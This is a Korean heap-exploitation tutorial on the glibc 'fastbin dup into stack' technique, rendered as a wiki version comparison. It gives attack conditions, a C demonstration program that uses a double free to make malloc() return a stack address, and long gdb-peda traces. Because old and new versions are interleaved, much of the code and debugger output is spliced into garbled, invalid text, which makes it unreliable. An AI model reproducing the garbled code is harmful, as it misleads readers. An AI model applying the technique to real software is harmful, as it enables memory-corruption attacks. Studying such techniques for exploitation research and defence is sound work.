Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Excuse the ads! We need some help to keep our site up.

Include Page
00.Notice
00.Notice

List

Table of Contents
outlinetrue
excludeList

Conditions

  • 해당 기술은 다음과 같은 조건에서 동작합니다.
    • 공격자에 의해 동일한 크기의 Fast chunk의 할당과 해제가 자유로워야 합니다.
    • 공격자에 의해 해제된 Fast chunk를 한번더 해제 할 수 있어야 합니다.(Double free bug)
    • 공격자에 의해 할당된 Fast chunk 영역에 값을 저장 할 수 있어야 합니다.
    • 할당 받고자 하는 Stack영역에 해제된 Fast chunk의 크기 값이 저장되어 있어야 합니다.

Exploit plan

  • 다음과 같은 방법으로 공격할 수 있습니다.
    • 동일한 크기의 Fast chunk를 3개 생성합니다.
    • 첫번째 Fast chunk를 해제합니다.
    • 두번째 Fast chunk를 해제합니다.
    • 해제된 첫번째 Fast chunk를 다시 한번 해제합니다.
    • 동일한 크기의 Fast chunk를 2개 재할당합니다.
    • 재할당 받은 Chunk 중 첫번째 Chunk 영역에 "Stack 영역의 주소 값 - prev_size 공간(0x8)"을 저장합니다.
      • Stack 영역에는 해제된 청크와 동일한 크기의 값이 저장되어 있어야 합니다.
    • 동일한 크기의 Fast chunk를 할당합니다.
    • 또 다시 Fast chunk를 할당 합니다.
      • 할당된 영역은 "Stack 영역의 주소 값 + 0x8" 영역입니다.

Example

Files

Panel

Source code

Fastbin dup into stack

  • "Fastbin dup into stack"은 "Fastbin dup"을 활용하여 malloc()으로 부터 Stack 메모리를 반환 받을수 있습니다.
  • 기본적인 원리는 "Fastbin dup"와 같습니다.
    • 첫번째 메모리를 해제되고, 두번째 메모리를 해제한 후 첫번째 메모리를 다시 해제합니다.
    • fastbin에 이미 등록된 메모리와 동일한 메모리가 배치되었습니다.
    • fastbin의 상단에 배치된 chunk는 두번째 chunk를 가리키고 두번째 chunk는 상단에 배치된 chunk를 가리키게됩니다.
    • 즉 fastbin의 list는 loop가 됩니다.(Fastbin[6]의 list는 "0x602000 <--> 0x602080)
  • 이러한 list를 활용하여 malloc()으로 부터 Stack의 pointer를 반환받을 수 있도록 악용합니다.
    • 우선 공격자는 list에 배치된 chunk를 재할당 받기위해 메모리 할당을 요청합니다.
    • 그리고 공격자는 stack 주소를 할당받은 메모리의 fd에 저장합니다.
      • 이로 인해 list는 "0x602000 --> Stack"이 됩니다.
  • 해당 Stack에 가짜 chunk 정보를 입력합니다.
    • 재할당 받은 chunk의 크기를 가짜 chunk의 "size"에 입력합니다. 
    • 할당자는 stack에 생성한 가짜 chunk를 정상적인 chunk로 인식합니다.
    • fake chunk의 크기를 인수로 malloc()를 호출하면, 할당자는 fastbin에 등록된 fake chunk를 반환합니다.
  • 할당자는 fastbin에 배치된 메모리를 재할당 할때 해당 chunk의 size를 확인하고, fd를 확인해서 list를 갱신합니다.
    • 해당 주소가 힙인지 스택인지는 확인하지 않습니다.
Panel
titleFastbin dup into stack flow

Image Added

Example

  • 다음 코드는 112를 인수로 malloc()을 3번 호출합니다.

    • 이 코드는 free()에게 buf1,buf2의 해제를 요청하고, buf1의 해제를 다시 요청합니다.

      • 이로 인해 fastbin의 list에는 동일한 메모리의 pointer가 배치됩니다. 
      • 그리고 이 list는 loop가 됩니다.
    • 여기까지는 "fast_dup.c"의 코드와 동일합니다.

  • 112를 인수로 malloc()을 2번 호출하여 메모리를 할당 받습니다.

    • buf4에 저장된 포인터는 buf1에 저장된 pointer와 같습니다.
    • buf4은 buf1과 같은 메모리이며, buf1은 fastbin에 배치되어있습니다.
    • buf4를 이용하여 fastbin의 정보를 변경할수 있습니다.
  • Fastbin에 가짜 chunk를 배치하기 위해 stack_var[0], [1]에 가짜 chunk정보를 입력합니다.
    • 그리고 stack_var의 주소에서 8을 뺀값을 "*buf4"에 저장합니다.
      • Fastbin의 구조는 "buf1 → buf2 → buf1"에서 "buf1 → &stack_var - 8"으로 변경 됩니다.
  • 112를 인수로 malloc()을 2번 호출합니다.
    • 첫번째 요청에서는 heap의 pointer가 반환되고, 두번째 요청에서는 stack의 pointer가 반환됩니다. 
Code Block
languagecpp
titlefast_dup_into.c
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    unsigned long long stack_var[2];
    printf("Stack_var : %p\n",&stack_var);

    char *buf1
Code Block
languagecpp
#include <stdio.h>
#include <stdlib.h>

int main()
{
        long stack_var = 0x0;

        printf("Stack_var : %p\n",&stack_var);
        char *buf1 = malloc(112);
        char *buf2 = malloc(112);
        char *buf3 = malloc(112);

        free(buf1);
        free(buf2);
        free(buf1);

        char *buf4 = malloc(112);
    char *buf2 = malloc(112);
    char *buf5buf3 = malloc(112);
 
        printf("buf4 size : %ld\n",sizeof(buf4))free(buf1);
        scanf("%ld",&stack_varfree(buf2);
        scanf("%8s",buf4free(buf1);
 
    unsigned long   charlong *buf6buf4 = malloc(112);
    char    char *buf7buf5 = malloc(112);
 
    stack_var[0] = 0x80;
    stack_var[1]  scanf("%100s",buf7);
}

Exploit flow

Panel
titlefastbin_dup_into_stack

Image Removed

Debugging

  • 다음과 같이 Break point를 설정합니다.
    • 0x400684 : 1번재 free() 함수 호출

    • 0x400695 : 2번재 free() 함수 호출 후

    • 0x4006a1 : 3번재 free() 함수 호출 후

    • 0x4006ab : 4번째 malloc() 함수 호출

    • 0x4006b9 : 5번째 malloc() 함수 호출

    • 0x4006f8 : scanf(buf4) 함수 호출

    • 0x400707 : 6번째 malloc() 함수 호출

    • 0x400715 : 7번째 malloc() 함수 호출

Code Block
titleBreak points
gdb-peda$ b *0x0000000000400684
Breakpoint 1 at 0x400684
gdb-peda$ b *0x0000000000400695
Breakpoint 2 at 0x400695
gdb-peda$ b *0x00000000004006a1
Breakpoint 3 at 0x4006a1
gdb-peda$ b *0x00000000004006ab
Breakpoint 4 at 0x4006ab
gdb-peda$ b *0x00000000004006b9
Breakpoint 5 at 0x4006b9
gdb-peda$ b *0x00000000004006f8
Breakpoint 6 at 0x4006f8
gdb-peda$ b *0x0000000000400707
Breakpoint 7 at 0x400707
gdb-peda$ b *0x0000000000400715
Breakpoint 8 at 0x400715
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/def/fastbin_dup_into_stack 
Stack_var : 0x7fffffffe220
  • 다음과 같은 Heap 구조를 가집니다.
    • 첫번재 Heap : 0x602010
    • 두번재 Heap : 0x602090
    • 세번재 Heap : 0x602110
  • 첫번재 Heap 영역이 해제되어 fastbinsY[6]에 0x602000이 저장되었습니다.
Code Block
titleBreak point - 0x400684
Breakpoint 1, 0x0000000000400684 in main ()
gdb-peda$ p main_arena.fastbinsY 
$1 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}

gdb-peda$ x/50gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000081
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000081
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000020e81

gdb-peda$ ni
0x0000000000400689 in main ()
gdb-peda$ p main_arena.fastbinsY 
$2 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602000, 0x0, 0x0, 0x0}
gdb-peda$ x/50gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000081
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000081
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000020e81
gdb-peda$ 
  • 다음과 같이 해제된 두번재 Heap 영역의 free chunk의 주소가 fastbinsY[6]이 등록됩니다.
    • 생성된 free chunk의 fd영역에 첫번째 free chunk 주소(0x602000)가 저장됩니다.
Code Block
titleBreak point - 0x400695
gdb-peda$ c
Continuing.
Breakpoint 2, 0x0000000000400695 in main ()
gdb-peda$ p main_arena.fastbinsY 
$3 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602080, 0x0, 0x0, 0x0}
gdb-peda$ x/50gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000081
0x602090:	0x0000000000602000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000081
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000020e81
gdb-peda$ 
  • 다음과 같이 해제된 첫번째 Heap 영역을 해제합니다.
    • 해당 heap의 free chunk 주소가 fastbinsY[6]에 저장됩니다.
    • fd영역에 2번째 free chunk주소(0x602080)가 저장됩니다.
= 0;
    *buf4 = (unsigned long long)(((char*)&stack_var) - 8);
    
    char *buf6 = malloc(112);
    char *buf7 = malloc(112);

    read(STDIN_FILENO,buf7,100);
}
  • 0x400728에서 Double free로 fastbin에 해제된 heap이 또 배치되는 것을 확인합니다.

    • 0x400732, 0x400740에서 fastbin의 변화를 확인합니다.
    • 0x400744에서 Fake chunk를 확인합니다.

    • 0x400763에서 Fake chunk를 *buf4에 저장한 후의 fastbin의 변화를 확인합니다.
    • 0x400770,0x40077e에서 malloc()에서 반환된 pointer를 확인합니다.
    • 0x400793에서 반환된 메모리에 보관된 데이터를 확인합니다.
Code Block
titleBreakpoints
lazenca0x0@ubuntu:~/Book/3.fastbin_dup_into_stack$ gcc -o fast_dup_into_stack fast_dup_into_stack.c 
lazenca0x0@ubuntu:~/Book/3.fastbin_dup_into_stack$ gdb -q ./fast_dup_into_stack
Reading symbols from ./fast_dup_into_stack...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004006a6 <+0>:	push   rbp
   0x00000000004006a7 <+1>:	mov    rbp,rsp
   0x00000000004006aa <+4>:	sub    rsp,0x60
   0x00000000004006ae <+8>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004006b7 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006bb <+21>:	xor    eax,eax
   0x00000000004006bd <+23>:	mov    rax,QWORD PTR [rip+0x20099c]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x00000000004006c4 <+30>:	lea    rdx,[rbp-0x20]
   0x00000000004006c8 <+34>:	mov    esi,0x400844
   0x00000000004006cd <+39>:	mov    rdi,rax
   0x00000000004006d0 <+42>:	mov    eax,0x0
   0x00000000004006d5 <+47>:	call   0x400580 <fprintf@plt>
   0x00000000004006da <+52>:	mov    edi,0x70
   0x00000000004006df <+57>:	call   0x400590 <malloc@plt>
   0x00000000004006e4 <+62>:	mov    QWORD PTR [rbp-0x58],rax
   0x00000000004006e8 <+66>:	mov    edi,0x70
   0x00000000004006ed <+71>:	call   0x400590 <malloc@plt>
   0x00000000004006f2 <+76>:	mov    QWORD PTR [rbp-0x50],rax
   0x00000000004006f6 <+80>:	mov    edi,0x70
   0x00000000004006fb <+85>:	call   0x400590 <malloc@plt>
   0x0000000000400700 <+90>:	mov    QWORD PTR [rbp-0x48],rax
   0x0000000000400704 <+94>:	mov    rax,QWORD PTR [rbp-0x58]
   0x0000000000400708 <+98>:	mov    rdi,rax
   0x000000000040070b <+101>:	call   0x400540 <free@plt>
   0x0000000000400710 <+106>:	mov    rax,QWORD PTR [rbp-0x50]
   0x0000000000400714 <+110>:	mov    rdi,rax
   0x0000000000400717 <+113>:	call   0x400540 <free@plt>
   0x000000000040071c <+118>:	mov    rax,QWORD PTR [rbp-0x58]
   0x0000000000400720 <+122>:	mov    rdi,rax
   0x0000000000400723 <+125>:	call   0x400540 <free@plt>
   0x0000000000400728 <+130>:	mov    edi,0x70
   0x000000000040072d <+135>:	call   0x400590 <malloc@plt>
   0x0000000000400732 <+140>:	mov    QWORD PTR [rbp-0x40],rax
   0x0000000000400736 <+144>:	mov    edi,0x70
   0x000000000040073b <+149>:	call   0x400590 <malloc@plt>
   0x0000000000400740 <+154>:	mov    QWORD PTR [rbp-0x38],rax
   0x0000000000400744 <+158>:	mov    QWORD PTR [rbp-0x20],0x80
   0x000000000040074c <+166>:	mov    QWORD PTR [rbp-0x18],0x0
   0x0000000000400754 <+174>:	lea    rax,[rbp-0x20]
   0x0000000000400758 <+178>:	sub    rax,0x8
   0x000000000040075c <+182>:	mov    rdx,rax
   0x000000000040075f <+185>:	mov    rax,QWORD PTR [rbp-0x40]
   0x0000000000400763 <+189>:	mov    QWORD PTR [rax],rdx
   0x0000000000400766 <+192>:	mov    edi,0x70
   0x000000000040076b <+197>:	call   0x400590 <malloc@plt>
   0x0000000000400770 <+202>:	mov    QWORD PTR [rbp-0x30],rax
   0x0000000000400774 <+206>:	mov    edi,0x70
   0x0000000000400779 <+211>:	call   0x400590 <malloc@plt>
   0x000000000040077e <+216>:	mov    QWORD PTR [rbp-0x28],rax
   0x0000000000400782 <+220>:	mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400786 <+224>:	mov    edx,0x64
   0x000000000040078b <+229>:	mov    rsi,rax
   0x000000000040078e <+232>:	mov    edi,0x0
   0x0000000000400793 <+237>:	call   0x400560 <read@plt>
   0x0000000000400798 <+242>:	mov    eax,0x0
   0x000000000040079d <+247>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004007a1 <+251>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004007aa <+260>:	je     0x4007b1 <main+267>
   0x00000000004007ac <+262>:	call   0x400550 <__stack_chk_fail@plt>
   0x00000000004007b1 <+267>:	leave  
   0x00000000004007b2 <+268>:	ret    
End of assembler dump.
gdb-peda$ b *0x0000000000400728
Breakpoint 1 at 0x400728
gdb-peda$ b *0x0000000000400732
Breakpoint 2 at 0x400732
gdb-peda$ b *0x0000000000400740
Breakpoint 3 at 0x400740
gdb-peda$ b *0x0000000000400763
Breakpoint 4 at 0x400763
gdb-peda$ b *0x0000000000400770
Breakpoint 5 at 0x400770
gdb-peda$ b *0x000000000040077e
Breakpoint 6 at 0x40077e
gdb-peda$ b *0x0000000000400793
Breakpoint 7 at 0x400793
gdb-peda$
  • Double free bug로 인해 fastbin의 list가 "0x602000 --> 0x602080 --> 0x602000 --> ..."이 되었습니다.

Code Block
titleList is loop
gdb-peda$ r
Starting program: /home/lazenca0x0/Book/3.fastbin_dup_into_stack/fast_dup_into_stack 
Stack_var : 0x7fffffffe3f0

Breakpoint 1, 0x0000000000400728 in main ()
gdb-peda$ p main_arena.fastbinsY[6]
$1 = (mfastbinptr) 0x602000
gdb-peda$ x/4gx
Code Block
titleBreak point - 0x4006a1
gdb-peda$ c
Continuing.

Breakpoint 3, 0x00000000004006a1 in main ()
gdb-peda$ p main_arena.fastbinsY 
$4 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602000, 0x0, 0x0, 0x0}
gdb-peda$ x/50gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x0000000000602080	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030gdb-peda$ x/4gx 0x0000000000602080
0x602080:	0x0000000000000000	0x00000000000000000x0000000000000081
0x6020400x602090:	0x00000000000000000x0000000000602000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060gdb-peda$ x/4gx 0x0000000000602000
0x602000:	0x0000000000000000	0x00000000000000000x0000000000000081
0x6020700x602010:	0x00000000000000000x0000000000602080	0x0000000000000000
gdb-peda$ c
0x602080:	0x0000000000000000	0x0000000000000081
0x602090:	0x0000000000602000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000081
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000020e81
gdb-peda$ 
  • 다음과 같이 해제된 Heap 과 동일한 크기의 Heap을 생성합니다.
    • 4번재 Heap: 0x602010
    • 5번재 Heap: 0x602090
  • fastbinsY의 변화
    • 0x602000 → 0x602080 → 0x602000 → 0x602080

    • malloc()함수는 fastbinsY에 동일한 크기의 free chunk가 존재하기 때문에 fastbinsY에 등록되어 있는 heap 영역을 재할당 합니다.
  • 이러한 현상이 발생하는 이유는 다음과 같습니다.
    • fastbins은 free chunk를 Single list로 관리하고 있습니다.
      • 동일한 크기의 fast chunk가 여러 개가 해제되면, chunk header의 fd 영역을 이용해 관리합니다.
    • 즉, 해당 현상이 발생하는 이유는 Double free로 인해 buf1과 buf2 free chunk의 fd 값이 상대 chunk를 가리키고 있기 때문입니다.
  • 할당 받은 Heap 영역들을 이용해 free chunk의 fd 값을 변경할 수 있습니다.
Continuing.
  • malloc()에 크기가 112byte인 메모리 할당을 요청하면 fastbin[6]의 상단에 배치된 chunk(0x602080)이 반환됩니다.

    • fastbin[6]에는 다음 chunk(0x602000)가 배치되됩니다.

    • malloc()에 크기가 112byte인 메모리 할당을 요청하면, 할당자는 buf1를 fastbin[6]의 상단에 배치 합니다.
Code Block
titleReallocate buf1 and buf2
gdb-peda$ c
Continuing.

Breakpoint 2, 0x0000000000400732 in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ p main_arena.fastbinsY[6]
$2 = (mfastbinptr) 0x602080
gdb-peda$ c
Continuing.

Breakpoint 3, 0x0000000000400740 in main ()
gdb-peda$ i r rax
rax            0x602090	0x602090
gdb-peda$ p main_arena.fastbinsY[6]
$3 = (mfastbinptr) 0x602000
gdb-peda$ ni
  • stack_var[0]에 0x80(chunk의 크기)를 그리고 stack_var[1]에는 0x0(fd)을 입력합니다.
    • 이제 stack_var는 가짜 chunk가 됩니다.
Code Block
titleWrite a fake chunk.
Code Block
titleBreak point - 0x4006ab
gdb-peda$ c
Continuing.

Breakpoint 4, 0x00000000004006ab0x0000000000400744 in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ p main_arena.fastbinsY 
$5 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602080, 0x0, 0x0, 0x0}

gdb-peda$ c
Continuing.

Breakpoint 5, 0x00000000004006b9 in main ()x/2i $rip
=> 0x400744 <main+158>:	mov    QWORD PTR [rbp-0x20],0x80
   0x40074c <main+166>:	mov    QWORD PTR [rbp-0x18],0x0
gdb-peda$ i r raxrbp
raxrbp            0x6020900x7fffffffe410	0x6020900x7fffffffe410
gdb-peda$ p main_arena.fastbinsY 
$6 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602000, 0x0, 0x0, 0x0}
  • 다음과 같이 fd영역의 값을 변경할 수 있습니다.
    • 공격대상이 될 영역에 해제된 Heap과 같은 크기 값(0x80)이 저장되어 있어야 합니다.
    • 할당받은 4번째 Heap영역에 'A'*8개를 입력해서, 첫번째 free chunk의 fd값이 변경되었습니다.
    • set 명령어를 이용해 fd영역에 공격대상 주소 값을 저장합니다.
      • stack_var(0x7fffffffe220) - prev_size(0x8) = 0x7fffffffe218

  • fd영역의 값 변경으로 fastbins의 Single list에 변화가 발생합니다.
    • 0x602000 → 0x7fffffffe218 → 0x602010 → 0x0
    • 0x7fffffffe218 영역이 fastbinsY에 등록되어 0x602000의 다음 free chunk로 인식됩니다.
    • 0x7fffffffe218 + 0x10 영역이 0x7fffffffe218의 fd영역으로 인식됩니다.
      • 0x7fffffffe218 + 0x10 영역에 저장된 값은 0x602010입니다.
    • 0x602010영역 또한 0x7fffffffe218과 동일하게 다음 free chunk로 인식됩니다.
      • 0x602010 + 0x10 영역에 저장된 값은 0x0입니다.
/x 0x7fffffffe410 - 0x20
$4 = 0x7fffffffe3f0
gdb-peda$ p/x 0x7fffffffe410 - 0x18
$5 = 0x7fffffffe3f8
gdb-peda$ ni

0x000000000040074c in main ()
gdb-peda$ ni

0x0000000000400754 in main ()
gdb-peda$ x/2gx 0x7fffffffe3f0
0x7fffffffe3f0:	0x0000000000000080	0x0000000000000000
gdb-peda$ c
Continuing.
  • fake chunk의 주소는 buf1→fd에 저장됩니다. 
    • buf1→fd에 저장되는 fake chunk의 주소는 "&stack_var"(0x7fffffffe3f0)이 아닙니다. 
    • stack_var[0]에 fake chunk의 크기를 저장했기 때문에 "&stack_var - 8"(0x7fffffffe3e8)이 buf1→fd에 저장됩니다.
    • "&stack_var"(0x7fffffffe3f0)가 저장되면 fake_chunk→size가 0x0되기 때문에 에러가 발생합니다.
  • 이로 인해 fastbin의 list는 "0x602000 → 0x00007fffffffe3e8"이 되었습니다.

Code Block
titlePlace fake chunks in the fast bin.
gdb-peda$ c
Continuing.

Breakpoint 4, 0x0000000000400763 in main ()
gdb-peda$ x/i $rip
=> 0x400763 <main+189>:	mov    QWORD PTR [rax],rdx
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ i r rdx
rdx            0x7fffffffe3e8	0x7fffffffe3e8
gdb-peda$ ni

0x0000000000400766 in main ()
gdb-peda$ p main_arena.fastbinsY[6]
$6 = (mfastbinptr) 0x602000
gdb-peda$ x/4gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x00007fffffffe3e8	0x0000000000000000
Code Block
titleBreak point - 0x4006f8
gdb-peda$ c
Continuing.
buf4 size : 8
128

Breakpoint 6, 0x00000000004006f8 in main ()
gdb-peda$ x/gx 0x7fffffffe220
0x7fffffffe220:	0x0000000000000080
gdb-peda$ ni
AAAAAAAA

0x00000000004006fd in main ()
gdb-peda$ x/4gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x4141414141414141	0x0000000000000000

gdb-peda$ set *0x602010 = 0x7fffffffe220 - 0x8
gdb-peda$ set *0x602014 = 0x7fff
gdb-peda$ x/gx 0x602010
0x602010:	0x00007fffffffe218
gdb-peda$ x/4gx 0x6020000x00007fffffffe3e8
0x6020000x7fffffffe3e8:	0x0000000000000000	0x00000000000000810x0000000000000080
0x6020100x7fffffffe3f8:	0x00007fffffffe218	0x0000000000000000
  • 다음과 같이 Stack 영역을 할당 받을 수 있습니다.
    • 6번째 Heap : 0x602010
    • 7번째 Heap : 0x7fffffffe228
0x0000000000000000	0x00007fffffffe4f0
gdb-peda$ 
  • 크기가 112byte인 메모리 할당을 malloc()에 요청하면 할당자는 fastbin[6]의 상단에 배치된 chunk(0x602010)를 반환합니다.
    • 다음 요청에서 fastbin에 배치되었 Fake chunk(0x7fffffffe3f8)가 반환됩니다.
Code Block
titleReturn fake chunk
gdb-peda$ c
Continuing.

Breakpoint 5, 0x0000000000400770 in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
Code Block
titleBreak point - 0x400707
gdb-peda$ c
Continuing.

Breakpoint 76, 0x00000000004007070x000000000040077e in main ()
gdb-peda$ i r rax
rax            0x6020100x7fffffffe3f8	0x6020100x7fffffffe3f8
gdb-peda$ p main_arena.fastbinsY 
$7 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7fffffffe218, 0x0, 0x0, 0x0}

x/4gx 0x7fffffffe3f8
0x7fffffffe3f8:	0x0000000000000000	0x00007fffffffe4f0
0x7fffffffe408:	0xf57229810c117d00	0x00000000004007c0
gdb-peda$ 
  • fake chunk의 주소를 인수로 read()를 호출해서 데이터를 입력받습니다.
    • 입력된 데이터는 fake chunk에 저장됩니다.
    • 즉, malloc()으로 부터 반환된 stack 포인터에 데이터 저장이 가능합니다.
Code Block
titleWrite a value to a fake chunk.
gdb-peda$ c
Continuing.

Breakpoint 87, 0x00000000004007150x0000000000400793 in main ()
gdb-peda$ x/i r rax
rax  $rip
=> 0x400793 <main+237>:	call          0x7fffffffe228	0x7fffffffe2280x400560 <read@plt>
gdb-peda$ p main_arena.fastbinsY 
$8 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602010, 0x0, 0x0, 0x0}
gdb-peda$ x/20gx 0x7fffffffe228 - 0x10
0x7fffffffe218:	0x0000000000400715	0x0000000000000080
0x7fffffffe228:	0x0000000000602010	0x0000000000602090
0x7fffffffe238:	0x0000000000602110	0x0000000000602010
0x7fffffffe248:	0x0000000000602090	0x0000000000602010
0x7fffffffe258:	0x0000000000000000	0x0000000000000000
0x7fffffffe268:	0x00007ffff7a32f45	0x0000000000000000
0x7fffffffe278:	0x00007fffffffe358	0x0000000100000000
0x7fffffffe288:	0x000000000040062d	0x0000000000000000
0x7fffffffe298:	0x4b0a417085002861	0x0000000000400540
0x7fffffffe2a8:	0x00007fffffffe350	0x0000000000000000i r rsi
rsi            0x7fffffffe3f8	0x7fffffffe3f8
gdb-peda$ ni
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD

0x0000000000400798 in main ()
gdb-peda$ x/4gx 0x7fffffffe3f8
0x7fffffffe3f8:	0x4141414141414141	0x4242424242424242
0x7fffffffe408:	0x4343434343434343	0x4444444444444444
gdb-peda$ 

Related information

...